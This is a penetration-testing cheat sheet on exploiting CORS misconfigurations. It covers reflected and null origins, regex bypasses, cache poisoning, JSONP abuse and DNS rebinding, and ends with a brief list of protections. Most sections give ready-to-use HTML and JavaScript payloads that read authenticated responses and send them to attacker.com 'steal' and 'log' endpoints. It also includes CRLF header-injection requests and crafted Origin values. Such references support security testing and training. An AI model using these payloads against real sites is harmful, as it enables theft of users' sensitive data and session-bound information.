Cross-Origin Resource Sharing (CORS) enables servers to define who can access their assets from external sources. Misconfigurations allow attackers to steal sensitive data from authenticated users.
| Header | Purpose |
|---|
Access-Control-Allow-Origin | Specifies allowed origins (can be *, null, or specific origin) |
Access-Control-Allow-Credentials | If true, allows sending cookies with cross-origin requests |
Access-Control-Allow-Methods | HTTP methods permitted in the actual request |
Access-Control-Allow-Headers | Request headers allowed |
Access-Control-Max-Age | Preflight response cache duration |
Access-Control-Expose-Headers | Headers exposed to JavaScript |
Access-Control-Allow-Origin: * combined with Access-Control-Allow-Credentials: true is not permitted by browsers. This combination is always rejected.
Exploitable Misconfigurations
Reflected Origin
When the server dynamically reflects the Origin header value in Access-Control-Allow-Origin:
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get', 'https://example.com/sensitive-details', true);
req.withCredentials = true;
req.send();
function reqListener() {
location = '/log?key=' + this.responseText;
}
</script>
Null Origin Exploit
Some applications whitelist null origin for local development. Use a sandboxed iframe to generate null origin:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = function() {
location='https://attacker.com/log?key='+encodeURIComponent(this.responseText);
};
req.open('get', 'https://example.com/details', true);
req.withCredentials = true;
req.send();
</script>"></iframe>
Regex Bypass Techniques
# Prefix match bypass: attacker registers victim-evil.com
Origin: https://victim.com.evil-attacker.com
# Suffix match bypass: attacker registers evil-victim.com
Origin: https://evil-victim.com
# Underscore in subdomain (Chrome/Firefox)
Origin: https://target.application_.arbitrary.com
# Special chars (Safari)
Origin: https://target.application}.arbitrary.com
XSS on Whitelisted Subdomain
If sub.requester.com is whitelisted and vulnerable to XSS:
// From sub.requester.com (after XSS)
var req = new XMLHttpRequest();
req.open('get', 'https://provider.com/sensitive', true);
req.withCredentials = true;
req.onload = function() { location = 'https://attacker.com/steal?d=' + this.responseText; };
req.send();
Server-Side Cache Poisoning
If the server doesn’t sanitize the Origin header for illegal characters, inject HTTP headers via \r\n (0x0d 0x0a):
GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
The response becomes:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7
If cached, this response is served to other users, enabling persistent XSS via UTF-7 encoding.
Client-Side Cache Poisoning
If the page reflects a custom header without encoding:
<script>
function gotcha() { location = url; }
var req = new XMLHttpRequest();
url = 'https://example.com/';
req.onload = gotcha;
req.open('get', url, true);
req.setRequestHeader('X-Custom-Header', '<svg/onload=alert(1)>');
req.send();
</script>
If the response is cached (without Vary: Origin), subsequent visits serve the poisoned response.
XSSI / JSONP Bypass
<!-- JSONP endpoint doesn't enforce CORS -->
<script src="https://victim.com/api/user?callback=stealData"></script>
<script>
function stealData(data) {
fetch('https://attacker.com/steal?d=' + JSON.stringify(data));
}
</script>
DNS Rebinding Attacks
DNS Rebinding via TTL
- Victim visits attacker’s page
- Attacker changes DNS A record (TTL=0) to internal IP
- Victim’s browser re-resolves DNS and now same-origin with internal service
- Attacker can read internal service responses
Tools: DNSrebinder, rebind.it
DNS Rebinding via Multiple IPs
- Set two A records: attacker IP +
0.0.0.0 (Linux/macOS)
- First request goes to attacker IP (serves payload)
- Attacker blocks their IP with iptables
- Second request resolves to
0.0.0.0 (localhost)
- Browser treats as same origin
DNS Rebinding over DoH (DNS-over-HTTPS)
# Chrome DoH test
curl -H 'accept: application/dns-json' \
'https://cloudflare-dns.com/dns-query?name=example.com&type=A' | jq
# Firefox DoH settings
# Settings → Network Settings → Enable DNS over HTTPS
Some DoH providers (NextDNS) replace private/loopback answers with 0.0.0.0, but Linux/macOS still route to local services.
Protections Against DNS Rebinding
- Use TLS in internal services
- Require authentication to access data
- Validate the
Host header on internal services
- Implement HTTPS with valid certificates